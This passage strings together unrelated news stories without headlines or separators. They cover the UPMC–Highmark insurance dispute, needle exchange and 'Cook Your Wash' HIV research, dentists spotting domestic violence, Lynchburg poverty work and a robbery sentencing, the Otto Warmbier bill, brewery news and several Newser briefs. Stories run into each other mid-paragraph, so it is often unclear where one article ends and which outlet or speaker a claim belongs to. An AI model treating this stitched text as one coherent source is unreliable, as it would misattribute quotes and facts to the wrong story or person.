largest health insurers in the country, with 4.5 million enrollees in Pennsylvania, Delaware and West Virginia, and another 16 million customers for its dental, vision and other insurance products sold nationwide. Headquartered in Pittsburgh, it's also one of the state's largest employers. In 2013, Highmark bought the West Penn Allegheny Health System, changing its name to the Allegheny Health Network. That network now consists of eight hospitals, a handful of outpatient surgery centers and 2,800 physicians at 253 locations. It directly competes with UPMC. The focal points of the current dispute revolve around access to UPMC hospitals, doctors and specialty clinics especially cancer care for two groups: the 227,000 people enrolled in Highmark's Medicare Advantage plans and several thousand people enrolled in Highmark plans through their own or a spouse's job who have been in ongoing treatment for cancer or other serious conditions. Under the 2014 agreement, these two groups retained in-network access to UPMC hospitals and doctors. UPMC last year announced it would shut down in-network access for these remaining Highmark enrollees after June 30. 'It's A Kind Of Extortion' Bodick, who lives in Springdale, Pa., was diagnosed with breast cancer in 2000. She had a mastectomy and four additional surgeries, including when the cancer spread to her lungs. Through it all, Bodick has been cared for by UPMC doctors and her surgeries were at a UPMC hospital. "These doctors saved my life and have kept me alive. I trust them completely," she said. Bodick has a Highmark Medicare Advantage plan and said it still offers the best coverage at the lowest price for her and her husband, Joe, who is retired. Now, she said, she's being told she'll have to pay out-of-network charges in cash if she wants to be treated by UPMC doctors. "I don't have the money to do that," said Bodick. "It's a kind of extortion." Marsic faces a similar predicament. Diagnosed with breast cancer in 2006, she has had several surgeries performed by UPMC doctors and sees a UPMC oncologist. Marsic, who lives in Upper St. Clair Township outside of Pittsburgh, also has multiple sclerosis and has been treated by the same UPMC-affiliated neurologist for 33 years. Her insurance, provided by her husband's employer, is through Highmark. In recent weeks, both her oncologist and neurologist have told her they will not be able to treat her after June 30 unless she pays in cash at higher out-of-network rates. "I just hate the idea of losing the doctors I've seen for years," Marsic said. "But it may cost too much to stay with them." Attorney General Challenges Status Quo Highmark said it supports Shapiro's efforts. A spokesman, Aaron Billger, said the company seeks "a level playing field" and "a wide choice of providers for patients." But UPMC is fighting it. Shapiro's legal motions, which have the support of Democratic Gov. Tom Wolf, alleged that UPMC has not acted in the public's interest as required by its status as a nonprofit system that gets significant tax breaks. He also alleged that UPMC, the dominant provider in the state, is using that market power to charge higher rates "without regard to the increase on the cost of the regions healthcare." UPMC countered that in 2018 it provided $1.1 billion in "IRS-defined" community benefits. In addition, a spokesman said, UPMC paid nearly $600 million in taxes in 2018. The health system also claimed in legal filings that western Pennsylvania has become "one of the most competitive and pro-consumer markets in the nation with some of the lowest-cost health plans available anywhere." UPMC said that Shapiro's requests violate the usual operations of a free and competitive marketplace, as well as laws governing health insurance. Health care scholars said Shapiro's arguments do challenge common practices, but also raise important questions about how big companies behave and how that affects patients. "Insurers must be free to create their own networks of providers based on a host of factors, including quality of care and the fees they'll accept," said Paul Ginsburg, director of the USC-Brookings Schaeffer Initiative for Health Policy. "That enhances competition, can lower costs and is good for consumers." Likewise, he said, doctors and hospitals are free in an open marketplace to contract with whom they want. But he also said that the situation in western Pennsylvania is not typical. UPMC is using its "market clout as the leading provider of care in the area to become the dominant insurer, and crush the competition. That's not something we have seen elsewhere," Ginsburg said. Gaynor agreed. "This is not how a well-functioning competitive market should work," he said. Acute hepatitis C infections rose 98 percent between 2010 and 2015 nationwide, largely because more people were injecting drugs. Using a new needle for every injection can slow the spread of hepatitis C, but getting those new needles isn't always as simple as buying glucose-meter lancets at the pharmacy. And safely disposing of old needles presents a whole other set of problems. A team of West Virginia University researchers wanted to pinpoint what makes obtaining clean needles--and responsibly getting rid of used ones--difficult. To find out, they surveyed 100 people who attend needle exchange programs. Respondents cited one obstacle more than any other: fear of arrest. "I believe the biggest barrier to needle exchange is paraphernalia laws and policing behaviors," said Steve Davis, an associate professor in the School of Public Health, who led the study. The team's findings, which appear in Harm Reduction Journal, bear that out. Nearly three-fourths of the study's participants (72 percent) said they "agreed" or "strongly agreed" that they could "get in trouble from the police" for carrying needles around. "When I talked to people attending needle exchange programs, what I heard was, they don't want to discard needles," Davis said. "In fact, they would get upset at other attendees who perhaps would do that. They would say, 'If I had a child, I wouldn't want them to get stuck with a dirty needle.' But they also don't want to go to prison. So what do they do? Use them real quick and get rid of them--or share them." As the Centers for Disease Control and Prevention reports, sharing needles is the number one reason people get hepatitis C today. The problem is pernicious in rural Appalachia. Davis' research project is the first to quantify the barriers to using new needles obtained from needle exchange programs in Appalachian locations. The survey respondents were selected from two programs in West Virginia: one in Cabell County and one in Monongalia County. Previous studies focused on large metropolitan populations. West Virginia is one of few states that doesn't outlaw the purchase or possession of drug paraphernalia, including syringes and hypodermic needles. "But some local laws are being passed that criminalize possession of a new syringe unless a person has a prescription," Davis said, "and some of the people who inject drugs that I interviewed mentioned being cited for possession of new needles. It is my belief that this confusion over conflicting state and local laws contributes to fear of possessing new needles." Davis suggested that unambiguously decriminalizing syringes and hypodermic needles could make needle exchange easier and curtail hepatitis C infections. He also recommended reframing needle exchange as a method to keep police officers and their families healthy, rather than as a means of enabling addiction or condoning illegal activity. If a police officer were to accidentally get stuck with a needle while searching a suspect, Davis reasoned, he or she might be less likely to contract hepatitis C if a needle exchange program were flourishing in the community. More opportunities for needle exchange could mean fewer contaminated needles out in the world. "In talking to law enforcement, we saw this real struggle with, 'If something is illegal, how am I supposed to let that go?'" he said. "But if you can conceptualize needle exchange as being protective, then you can--perhaps--get law enforcement buy-in. One of the police officers I talked to mentioned this." Needle exchange programs are associated with a reduction in new hepatitis C cases across Europe, Davis explained, but in North America, this association doesn't hold. "The hypothesis," he said, "is that there's this criminal approach--paraphernalia laws and policing behaviors--that doesn't match up with needle exchange, a public health approach." The University of Arizona College of Medicine - Phoenix and Midwestern University have published an article to bring to light the important role dentists can play in identifying domestic violence victims. Published April 11 in the Journal of Aggression, Maltreatment and Trauma, the article reports that as much as 75 percent of head and neck trauma associated with domestic violence occurs with oral injury. Researchers concluded that dentists are in the unique position to be the first line of defense in identifying evidence of assault, and then reporting potential cases of domestic violence. "The overall purpose of the paper is to bring dentistry and its subspecialties into the conversation about traumatic brain injury (TBI), specifically in cases of domestic violence," said Midwestern University dental student Timothy Ellis, lead author of the study. "In our society, and others around the world, domestic violence is more common than many would suspect. Survivors recount 'too many times to remember' that they were abused and blacked out or were struck in the head. Thus, oral and facial trauma may be treated or identified by dentists and dental sub-specialists, opening another avenue for patients to gain access to proper care or needed assistance." Ellis and Jonathan Lifshitz, PhD, director of the Translational Neurotrauma Research Program at the UA College of Medicine - Phoenix, reported an estimated 41.5 million individuals who will experience some type of domestic violence during their lifetime, and 20.75 million will sustain a TBI. Of the victims that sustain a TBI, 8.3 million will live with some form of long-term physiological or psychological consequences of the injury, they said. "This is a societal need and we have to call on all health care providers and mandatory reporters to join the fight," Dr. Lifshitz said. "This paper is creating additional touchpoints between victims and the health-care delivery system. It is an opportunity for dentists to be early detectors who can refer those individuals for follow-up care." The oral biomarkers that could help dentists potentially identify domestic violence victims include tears, fractures, breaks and chips in the teeth and mouth that would be inconsistent with personal history and, therefore, raise the index of suspicion. Obvious signs of violence that may indicate brain injury include jaw or tooth fractures, trauma to nerves in the mouth and jaw, as well as damage to the nasal bone. Tooth discoloration, blunted roots and pulpal necrosis, which is the death of cells and tissues in the center of a tooth, also may be signs of a previous dental trauma warranting further investigation. According to the publication, dentists receive little to no education about identifying and discussing domestic violence with potential victims, yet they may be the first and only health professional to evaluate a domestic violence victim. "I have spoken with several dentists regarding the topic," Ellis said. "Many find it interesting, however, they have little experience. The most common answer I receive is that they had just never thought about it or believed that such a case would be more likely to present in a medical facility and thus, it does not cross their mind when interacting with patients on a daily basis. That said, many dentists are intrigued by the topic and the response has been positive. It is interesting that very stringent protocols exist in pediatric dentistry, but a large gap exists when dealing with teens, young adults and adults in general." Sheri Brownstein, DMD, director of preclinical faculty at the Midwestern University College of Dental Medicine - Arizona and a co-author of the study, said that as a dentist, she always is sensitive to head and neck injuries and behaviors and how these may be a sign of domestic violence, but never thought of the oral biomarkers as they relate to traumatic brain injury and domestic violence. "All dentists should be educated on the identification of potential injuries sustained as a result of domestic violence," she said. "As health-care providers, we are already obligated to report suspected abuse. I do not feel that this will add an undue burden to dentists." Ellis said next steps may include collecting data from dentists to document oral biomarkers of injury. He continues these queries with the objective to help at least one patient and their situation. The publication is one in a series on "Traumatic Brain Injury in Domestic Violence" to be published in the Journal of Aggression, Maltreatment, and Trauma, for which Dr. Lifshitz is a guest editor. New studies from Lawson Health Research Institute and Western University have found for the first time that HIV can be transmitted through the sharing of equipment used to prepare drugs before injection and that a simple intervention - heating the equipment with a cigarette lighter for 10 seconds - can destroy the HIV virus, preventing that transmission. The findings, used to inform a public health campaign called 'Cook Your Wash,' have helped reduce rates of HIV transmission in London, Ontario. The two studies published in Journal of Acquired Immune Deficiency Syndrome (JAIDS) were initiated in 2016 to address a public health emergency in London, Ontario when HIV rates amongst injection drug users more than doubled. "This outbreak occurred despite London having Canada's largest per capita sterile needle and syringe distribution program, a strong opiate substitution therapy program and a multidisciplinary HIV clinic," says Dr. Michael Silverman, Lawson Associate Scientist and Chair/Chief of Infectious Diseases at the Schulich School of Medicine & Dentistry, Western University, London Health Sciences Centre and St. Joseph's Health Care London. "We knew there must be a novel method of HIV transmission at play." From August 2016 to June 2017, the research team interviewed 119 injection drug users to understand their injection behaviours and risk for HIV. They discovered that those who shared equipment used to prepare drugs for injection were 22 times more likely to contract HIV than those who did not, despite not sharing needles or syringes. The equipment includes a metal 'cooker' used to dissolve drugs in water and a filter used to draw the mixture, known as 'the wash,' into the syringe. Injection drug users reported reusing the equipment when consuming controlled-release hydromorphone, one of the most commonly injected opioids. "Controlled-release hydromorphone is expensive and difficult to dissolve. After the first wash, large amounts of the drug remain in the equipment which is then saved, shared or sold for future use," explains Dr. Sharon Koivu, Associate Scientist at Lawson and Associate Professor at Schulich Medicine & Dentistry. "While people know not to share needles, some use their own needle multiple times allowing for contamination of the equipment." The team took their findings back to the research laboratory. They confirmed that, on average, 45 per cent of the drug remains in the equipment after the first wash. They not only confirmed the HIV virus can be transmitted between needles, cookers and filters, but also discovered that controlled-release hydromorphone has properties that promote survival of the virus. "The slow release properties in the drug can unfortunately stabilize the HIV virus," says Eric Arts, PhD, Chair of the Department of Microbiology and Immunology at Schulich Medicine & Dentistry. "For the first time, we were able to demonstrate that sharing equipment could lead to the type of HIV outbreak we observed in the community." The team discovered that when the cooker is heated with a cigarette lighter for approximately 10 seconds, or until the wash bubbles, the virus is destroyed. They termed the technique 'cook your wash.' They also confirmed that heating the cooker did not impact drug concentration. "We had to make sure that cooking your wash would not change the amount of drug being drawn into the syringe," notes Dr. Silverman. "If too much drug was released, it could lead to overdoses. If any drug was burnt off or lost, the intervention would not be accepted by persons who inject drugs." Partnering with local community organizations like the Middlesex-London Health Unit and Regional HIV/AIDS Connection, 'Cook Your Wash' was launched as a public health campaign. "The 'Cook Your Wash' campaign is one of the most exciting things to happen in our community," says Dr. Koivu. "We learned from persons who inject drugs, took that information to the lab to develop a solution and then brought that solution back to the community in record time." Dr. Silverman adds that local rates of new HIV cases fell dramatically after the introduction of the campaign. "It wasn't the sole reason for the reduction in HIV rates as other interventions were also introduced, but the timing suggests it was part of the solution." The studies build on previous research that shows sharing equipment can lead to the transmission of hepatitis C and controlled-release hydromorphone can promote the survival of bacteria that can cause endocarditis, which is an infection of the heart valves. The team hopes this research can be used to inform understanding and interventions in other centers facing HIV epidemics amongst persons who inject drugs. "We hope our findings can be used to reduce the incidence of HIV transmissions even further and that, one day, society will be HIV free," says Dr. Silverman. Source: https://www.lawsonresearch.ca/researchers-verify-new-method-hiv-transmission In the first community-wide event since merging citizen and city poverty initiatives, Bridges to Progress members collaborated Thursday to determine concrete steps it can take over the next three months. Last fall, the citys Poverty to Progress committees merged with members of the community-led Bridges of Central Virginia. Both groups had been working to address Lynchburgs increasing poverty rate. Since coming together, Bridges to Progress has formed a steering committee with five members from Bridges of Central Virginia and five members from Poverty to Progress that meets monthly. Additionally, the steering committee has identified 10 task force areas faith, workforce, legal, education, housing, food disparity, transportation, child development, community and health/mental health. Getting out of poverty doesnt happen in a vacuum and its not a one-size-fits all approach, steering committee chair Joan Phelps said Thursday. Breaking poverty cycles takes time, persistence, dogged determination and relentless outreach. Moving from poverty to self-sufficiency is a non-linear process. We know that there has been lots of fantastic work going on and we know that we may have to do some building moving forward. During the first hour of Thursdays meeting, about 50 community members heard updates from the various task forces on their accomplishments. According to Ward I Councilwoman Vice Mayor Maryjane Dolan, the child development task force has created a list of current child care centers and a map to identify the need. The community task force has held several Bridges out of Poverty trainings to educate members of the community about poverty and held build resources, according to Lindsey Cawood, who serves as co-vice chair of the steering committee. The education task force has divided into three subgroups tutoring, pre-Kindergarten and trauma informed. Owen Cardwell, another co-chair of the steering committee, said the tutoring group is working on a training workshop and the pre-K group is trying to shore up the Head Start program to get more families involved. Shawne Farmer, executive director of Interfaith Outreach, said the faith task force has developed a mentoring program for those in need and created a faith community resource guide. The food disparity task force has focused on supporting the Oasis Project group, which is working to bring a full-service, affordable grocery store downtown, according to Jonathan Susman. The Lynchburg Regional Housing Collaborative serves as the anchor for the housing task force. Lynchburg Community Action Group Director of Housing, Counseling and Community Development Denise Crews said the group which consists of Miriams House, Rush Homes, Greater Lynchburg Habitat for Humanity, Lynchburg Redevelopment and Housing Authority, Lynchburg Community Action Group and the city of Lynchburg government is looking at policies and developing best practices based on the results of a housing study earlier this year. Josh Quintero of the legal task force said that group is assisting citizens returning to the community from incarceration with Welcome Back Packs that provide essentials and a re-entry guide. The health/mental health task force is buoyed by Medicaid expansion in Virginia as well as the establishment of the Community Access Network and Community Health Center, according to task force member Debra Jefferson. Former mayor Joan Foster said the transportation task force is informed by the work of a 2017 transportation needs study and route changes to the Greater Lynchburg Transit Company that took effect in December. Task force member Dr. John Salmon, a Centra pathologist, also is working on an app to facilitate transit in the city. Theres a long way to go to meet every transportation need in the community, Foster said. Keith Cook, workforce operator for HumanKind, said a state rebranding of workforce initiatives into Virginia Career Works has united all those organizations that provide services under that system. Additionally, local workforce groups recently held a career expo that drew 4,000 students and 50 businesses. After hearing updates on each task forces progress so far, Cawood briefed those gathered on the initiatives 90-day implementation plans. The Bridges to Progress steering committee created implementation plan worksheets that allow each task force to track goals, desired outcomes, basic steps to reach the goals and deadlines. Members then broke out into the separate task forces and met for 45 minutes to discuss potential goals for the next 90 days. Attendees for each task force break-out session ranged from zero for the workforce task force to six for several other groups. The groups then came back together to briefly review their goals, including community dinners at different faith centers, performing grocery market research and creating a second chance clinic where those returning from incarceration can get free, one-on-one professional advice. Mayor Treney Tweedy addressed the crowd to close out the evening, emphasizing the importance of the work and information sharing about the initiative throughout the community. You are part of what the future of Lynchburg is going to look like, she said. RUSTBURG A man who prosecutors said vowed to put his gang on the map from jail will have to spend 20 more years behind bars from a January 2017 robbery. Damian Cordera Martin, 31, of Madison Heights, was charged with robbery, burglary, unlawfully wearing a mask and a list of related firearm charges from the Jan. 12, 2017 armed robbery of S&S Food Market, at the corner of Marysville and Gladys roads. A co-defendant, 24-year-old Justin Lorenzo Davis, of Lynchburg, pleaded guilty to robbery, conspiracy to commit robbery and use of a firearm in a felony in September 2017 and was sentenced to an active nine years in prison. The Campbell County Sheriffs Office said at the time that two men, one armed with a rifle, robbed the convenience store that afternoon. They stole cash and fled the scene. At Martins sentencing hearing Wednesday in Campbell Circuit Court, Commonwealths Attorney Paul McAndrews brought out evidence of Martin being part of a gang, despite Martins claims that he hadnt been involved in one since 2013. Investigator Tracy Emerson, with the Campbell County Sheriffs Office, testified to interviewing Martin and listening to phone calls he made from jail after he was arrested in April 2017. In the recording of a September 2017 call played in court Wednesday, hes heard referencing his stash box with 78 grams of methamphetamine, four pounds of marijuana, 30 rounds for an assault-style rifle and $62,000 in it. McAndrews said those numbers dont line up with Martin being an independent contractor selling drugs. Another jail call played in court, this one from August 2018, contains Martin discussing the Murder Gang Mob. He talks about getting free from incarceration after a few years and plans to come home and put this MGM on the map. Martin referenced MGM being a branch, which Emerson defined to be subset of another gang. Vernon Parish, who works as a gang investigator for the Lynchburg Police Department, said Martin identified as a member of the Nine Trey Gangsters, a subset of the Bloods gang, in 2011, according to police reports on him. When he was arrested in 2017, Parish said Martin had with him a book with the addresses of high-ranking gang members in it. Generally, Parish said gang members living in Lynchburg will commit crimes in the counties because they believe there are more police in the city especially when the Special Investigations Response Team (SIRT) activates in the warmer months with more active patrols. Then, he said members will migrate out of the city, but Emerson said in his testimony he doesnt believe gangs have bases set up in Campbell County. Emerson said law enforcement has linked gun store burglaries in the area over the last few years to gang activity in Lynchburg. Witnesses in the case also mentioned Martins involvement in a number of incidents in Lynchburg. By March 2018, hed been sentenced to a total of nine and a half years on drug and firearm charges in the city. Martin was also charged in the Jan. 22, 2017 robbery of the Neighborhood Market on Park Avenue in Lynchburg 10 days after the S&S Food Market robbery. Those charges were dismissed in Lynchburg General District Court in late October 2017. He was sentenced to five years in prison on separate firearm charges days later. Lynchburg Commonwealths Attorney Bethany Harrison said the charges were dismissed because a material witness in the case recanted their statements and another witness failed to show up at court. Mark Arthur, Martins attorney, said his client dealt with regular physical abuse and alcoholism in his home growing up. He pointed out Davis, Martins co-defendant, was the one wielding the rifle when the robbery occurred and Martin has only said he was the driver. When given the chance to speak, Martin apologized. He said despite Wednesdays evidence making him seem like a monster, hes helped a whole lot of people and taken care of his kids. Having been found guilty of eight charges, Martin was sentenced to 20 years in prison Wednesday. Judge John Cook said little about the case beyond handing down the sentence. Get local news delivered to your inbox! Subscribe to our Daily Headlines newsletter. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. WASHINGTON - President Donald Trump said Friday that the United States did not pay any money to North Korea, which had issued a $2 million bill for the hospice care of American Otto Warmbier, the comatose University of Virginia student sent home from Pyongyang in 2017. "No money was paid to North Korea for Otto Warmbier, not two Million Dollars, not anything else," Trump said in a morning tweet in which he suggested he has taken a different approach to hostage negotiations than his predecessor. The Washington Post reported Thursday that North Korea presented an invoice for Warmbier's care in an extraordinarily brazen act even for a regime known for its aggressive tactics. The main U.S. envoy sent to retrieve Warmbier signed an agreement to pay the medical bill on instructions passed down from Trump, according to two people familiar with the situation. They spoke on the condition of anonymity because they were not authorized to discuss the matter publicly. The bill went to the Treasury Department, where it remained - unpaid - throughout 2017, the people said. Prior to Trump's tweet, the White House had declined to comment on whether the bill was paid or whether the issue came up during preparations for Trump's two summits with North Korean leader Kim Jong Un. "We do not comment on hostage negotiations, which is why they have been so successful during this administration," White House press secretary Sarah Sanders wrote in an email. Lucky Envelope Brewing of Seattle, Washington is celebrating their 4th anniversary in Ballard on Saturday, April 27th . Lucy Envelope will release new beers, new merch and have red envelope giveaways. More from a press release: This years Anniversary celebration has cultural significance, says co-founder Raymond Kwan. The number four in Chinese tradition is unlucky because the Chinese word for the number sounds similar to the word death. Like some Western practices of excluding the 13th floor, you may find the 4th floor missing from some buildings in Asia. Lucky Envelope is releasing an Anniversary Hazy IPA brewed with Medusa, Mosaic, & Comet hops. In addition, they are releasing small batches of past customer favorites such as their Tea Smoked Helles Lager, Strawberry Milkshake IPA, & Cuke Nukem Cucumber Sour. Rounding out this years anniversary lineup are a Blackberry Sour and Strawberry & Rhubarb Golden Strong Ale. We decided to re-release our Cuke Nukem Cucumber Sour which we brewed with friend and homebrewer Blake Doepker as last years Pro-Am entry into the Washington Beer Awards, which won a silver medal, says co-founder and Brewmaster Barry Chan. As a brewer with homebrewing roots, I wanted to recognize the homebrewing community for being so amazing and supportive of Lucky Envelope. Lucky Envelope Brewing takes its name from the Chinese tradition tied closely with New Year celebrations of elders bestowing red-and-gold envelopes to loved ones as a gesture of luck and goodwill. Lucky Envelope is an award-winning family-friendly craft brewery in the Ballard neighborhood of Seattle. The brewery has garnered accolades since its May 2015 opening, including several medals at the 2017 & 2016 Washington Beer Awards, as well as at the prestigious 2015 Great American Beer Festival (GABF) competition. Lucky Envelope Brewing, 907 NW 50th St, Seattle, WA 98107 Today, The Oregonian had the exclusive on Mikkeller Brewing coming to Portland and opening a pop-up pub at the former Burnside Brewing Co. space. Mikkeller will partner with local restaurant development group Chefstable, the group behind places like Lardo, Loyal Legion, Grassa and more, with the plan to make it a permanent brewpub. The news was met with excitement and some skepticism without a lot of info. I am here to fill in some blanks, and tell you why this is a win/win situation for Portland, Mikkeller, and Burnside Brewing. Jay Gilbert and Jason McAdam during Burnside Brewing Co. construction in 2010 Burnside Brewing Co. unceremoniously closed in February with a note on the door from the building management saying they were locked out for not paying their bills. The other side of the story is that the brewery was planning to come to a natural halt on operations, liquidating assets and paying debts since the building was likely to be sold and redeveloped. When they got locked out, those assets were tied up which caused paychecks to be delayed and other bills to go unpaid. Due to some possible theft, the coffers were dry and a lot of the profits still are there in kegs, bottles and tanks. Whoever you believe or side with in the dispute, Mikkeller's Portland partners Chefstable Group have purchased all of Burnside's hard assets. That includes the kegs, bottles, brewhouse, kitchen etc. Now debts can be paid, the slate can be wiped clean. Meanwhile, Burnside Brewing's owners Jay Gilbert and Jason Mcadam retain the naming rights to the brewery, brands and other soft assets. This means they can still produce and release Burnside Brewing beers and the company is not necessarily gone for good. Regarding Mikkeller, it is an internationally known Danish brewery, and though The Oregonian notes they have 8 locations in the U.S., only two have breweries. If all works out, Mikkeller would be producing beers locally, and that might head off some of the concerns I read from commenters about their beer. The main complaint: Mikkeller beers are papery or taste like cardboard. That's called oxidation, and it comes from those beers being shipped long distances and probably at less than ideal temperatures. With Mikkeller beer being brewed on-site, that would presumably not be an issue. Then there is the location; Portland loves craft beer, but it's also packed to the brim with it. Out of town breweries have been making forays into PDX for the last few years to varying success (Backwoods Brewing, Fat Head's, Modern Times etc.), and some are skeptical Mikkeller can make it work. The location has gotta be one of the hottest areas for yuppies and hipsters to move into, though. Tons of apartments and condos are being developed and the area is already packed with breweries: Cascade Barrel House, Base Camp Brewing, Natian Brewing, Modern Times etc. Can Mikkeller compete with those? Of course it can! Modern Times is crushing it with their trendy but retro early 90's throwback decor and hipster hazy IPAs and fruit-laden sours. Is Mikkeller the same as Modern Times? No. But they do have a unique brand, really cool design and hip European culture that I think will translate well. If Rogue Ales strange Eastside Alehouse and Pilot Pub and Lucky Labrador's defiantly old Portland beer hall pub can make it in that neighborhood, then certainly Mikkeller can. First, Mikkeller and partners Chefstable are going to have to compete with Portland's urban redevelopment reality. Outside of Oregon Liquor Control Commission and Tax and Trade Bureau paperwork and signing-off to be done, there is the issue of the future of the building. Chefstable and Mikkeller have only purchased the equipment and the remainder of the lease. "We know that it will take at least 6 months to get the regulatory stuff figured out AND then there is the question of what the landlord decides to do with the building. That is actually the bigger deal." says Kurt Huffman, managing partner of Chefstable Group. According to Huffman, the building is about to undergo a facelift, and may indeed still be sold. It's a negotiation that may take years, but that Huffman hopes will work out in their favor. "A huge part of the value of the brewery, of course, is all of that plumbing etc. in the ground. The great part of this is that we are not in a rush here, neither Mikkeller nor us. We absolutely love the location and we're cool if it takes a year or two years to figure out. There is always the possibility that this won't work, in which case we'll move everything to a new location. It's impossible to know how it will all work out once the City gets involved, engineering and so forth," says Huffman. For now, Mikkeller will operate a pop-up pub at the space this June with food and imported Mikkeller beers. I hear there is plans to repaint the Burnside Brewing grain silo and cover the space in murals. Hopefully even turn the parking lot into a permanent beer garden. I anticipate this being the new outdoor local hotspot for hipsters this summer and hopefully for longer than that. (Newser) North Korea insisted the US agree to pay $2 million in medical costs in 2017 before it released detained American college student Otto Warmbier while he was in a coma, a former US official said Thursday. An envoy sent to North Korea to retrieve the 21-year-old student signed an agreement to pay the $2 million on instructions passed down from President Trump, the former official told the AP, speaking on condition of anonymity. The bill went to the Treasury Department, where it remainedunpaidthroughout 2017, per the Washington Post. CNN reported the bill has not been paid since then. story continues below White House press secretary Sarah Sanders said the administration does not comment on hostage negotiations. US policy is to refuse to pay ransom for the release of Americans detained abroad. Joseph Yun, the US envoy, told CNN he could not confirm the payment report, saying, "These are diplomatic exchanges and negotiations." Fred Warmbier, Ottos father, said he was never told about the hospital bill, per the Post. He said it sounded like a "ransom" for his son. While the majority of Americans detained by North Korea have been released in relatively good condition, Warmbier, a University of Virginia student, died last June after he was flown home comatose after 17 months in captivity. (Read more Otto Warmbier stories.) (Newser) Embattled Baltimore Mayor Catherine Pugh is too ill to decide whether to heed calls for her resignation, her attorney says. The Democrat, who has been on paid leave since April 1, now has bronchitis as well as pneumonia and isn't "lucid" enough to make the decision, attorney Steve Silverman told reporters Thursday, hours after federal agents raided Pugh's offices and two homes she owns. Silverman said Pugh, who is being investigated by the FBI and the IRS over sales of her "Healthy Holly" children's books to city entities, is likely to make the decision next week, the Baltimore Sun reports. "She is leaning toward making the best decision in the best interest in the citizens of Baltimore City," Silverman said. story continues below Pugh "is generally aware that there is a consensus that she should resign," but "for people to make material decisions in their life, they have to be at a certain level of stability," Silverman said. The attorney said Pugh was home at the time of the raid and met with her legal team afterward, CBS Baltimore reports. He said the mayor is saddened that people feel she has let the city down. Gov. Larry Hogan called for Pugh's resignation after the raids. "More than ever, Baltimore City needs strong and responsible leadership," he tweeted Thursday. "Mayor Pugh has lost the public trust. She is clearly not fit to lead. For the good of the city, Mayor Pugh must resign." State lawmakers and the Baltimore city council have also urged Pugh to step down. (Read more Baltimore stories.) (Newser) A woman who claimed to be a wealthy German heiress has been found guilty of scamming banks, hotels, and friends who funded her lavish New York City lifestyle. Anna Sorokin, 28, was found guilty Thursday of four counts of theft of services, three counts of grand larceny, and one count of attempted grand larceny, the AP reports. Prosecutors said Sorokin, calling herself Anna Delvey, positioned herself among the city's elite so she could "live the fantasy of an extravagant lifestyle beyond her means," the New York Times reports. She wore designer clothes, lived in luxury hotels, handed out $100 tips, and even hired a private jet, but other people were left to pick up the tab when her credit cards ran out. One former friend testified that Sorokin promised her a trip to Morocco but left her with a $62,000 bill. story continues below Prosecutors said Sorokin claimed to have assets of $67 million and forged documents in an attempt to secure a loan of $22 million to open an arts center. One bank loaned her $100,000, which she used for a shopping spree. But Sorokin was no heiress: Her father, an immigrant from Russia, is a former trucker who runs a heating business in Germany. "As proven at trial, Anna Sorokin committed real white-collar felonies over the course of her lengthy masquerade," District Attorney Cyrus Vance said after she was convicted. She was acquitted of grand larceny, the most serious charge, but could still face up to 15 years in prison when she is sentenced next month, the BBC reports. When the trial opened a month ago, her defense lawyer argued that Sorokin had been living by the words "Fake it until you make it," and had planned to eventually pay everybody back. (Read more hoax stories.) (Newser) Sean Hannity asked President Trump for his thoughts on the Democratic 2020 hopefuls at the end of a Fox News interview Thursday nightand the president obliged, sounding as if he was discussing a substandard crop of Celebrity Apprentice contestants. Trump said he is calling Joe Biden, who entered the race Thursday, "Sleepy Joe" because he has known him for a while "and he is a pretty sleepy guy," Politico reports. He said Biden would be unable to deal with the likes of Chinese President Xi Jinping because it would require "a different level of energy and, frankly, intelligence." Bernie Sanders, Trump said, has energy, but it's "misguided energy. Hes done very poorly in terms of the Senate." story continues below Trump said Beto O'Rourke is "a fluke" who is "fading very fast" and will be "a thing of the past soon." Moving on to Kamala Harris, he said "I think she's got a little bit of a nasty wit, I think thats about it." Trump was more positive about South Bend, Indiana, mayor Pete Buttigieg, though he didn't explain why, the Washington Post reports. "I'm rooting for him, but he is not going to make it," Trump said. Earlier in the interview, Trump described the FBI's investigation of his campaign as a "coup." "This was an attempted overthrow of the United States government," he said. He also said Attorney General William Barr is looking into "incredible" allegations that Ukrainian officials leaked information about Paul Manafort to help Hillary Clinton's campaign. (Read more Election 2020 stories.) (Newser) A powerful cyclone that struck northern Mozambique and is continuing to dump rain on the region killed at least one person and destroyed homes, with the United Nations on Friday warning of "massive flooding." Cyclone Kenneth arrived just six weeks after Cyclone Idai tore into central Mozambique, killing more than 600 people and displacing scores of thousands, the AP reports. The UN called it the first time in known history the southern African nation has been hit by two cyclones in one season. Forecasters say the new cyclone made landfall Thursday night in a part of Mozambique that hasn't seen such a storm in at least 60 years. Mozambique's local emergency center said a woman in the city of Pemba was killed by a falling tree, while a "high number" of houses in the Macomia district in Cabo Delgado province were destroyed. story continues below "Cyclone Kenneth may require a major new humanitarian operation" in one of the world's poorest nations, even as post-Cyclone Idai relief operations are expected to continue for months, UN humanitarian chief Mark Lowcock said in a statement. Cyclone Kenneth packed the power of a Category 4 hurricane as it approached Mozambique, with maximum sustained winds of 136mph, per the Joint Typhoon Warning Center. The winds weakened after landfall, but danger remained. The cyclone over the next 10 days is expected to dump twice as much rain as Cyclone Idai did last month, per a World Food Program rep. Mozambique's disaster management agency has said nearly 700,000 people could be at risk from the new cyclone. (Read more Mozambique stories.) (Newser) Four farmers in India only boast a few acres each, but a special potato they're growing has one of the world's biggest food and beverage conglomerates after them. PepsiCo's Indian subsidiary filed suits against the small group of farmers in early April, accusing them of planting a strain of potatoes patented for the company's Lay's potato chips, reports the Guardian. On Friday, the company offered to drop the complaints if the farmers played ball and joined thousands of other farmers in India who'd registered with the company's cultivation program, per CNN Business. That initiative provides seeds to farmers so they can grow potatoes for the potato chips. "Either join us or grow other potatoes," a PepsiCo rep says the farmers were told in court. story continues below The suits are seeking close to $150,000 from each farmer. The Guardian notes that the lawsuits didn't go over well in India, where foreign companies swooping in to produce and sell food is a sore spot. "It's a question of India's seed sovereignty, food sovereignty, and country sovereignty," one activist says, adding that the suit was "spreading panic among the farmers." A PepsiCo spokesperson said the legal action, a "last resort," was necessary because the farmers being painted as rogues were hurting other farmers who were growing the same potatoes for the company. It's not the first time India has seen such a David-versus Goliath battle: CNN reports that small retailers there have also pushed back at giants like Walmart and Amazon infringing on their turf, getting restrictions passed in some cases. Another court hearing over the potatoes is set for June 12. (Read more PepsiCo stories.) (Newser) The US economy grew at a solid 3.2% annual rate in the first three months of the year, up from 2.2% at the end of 2018, for a far better outcome than expected, per the AP. However, about half the gain reflected two factors not expected to lasta big jump in merchandise stockpiling by businesses and 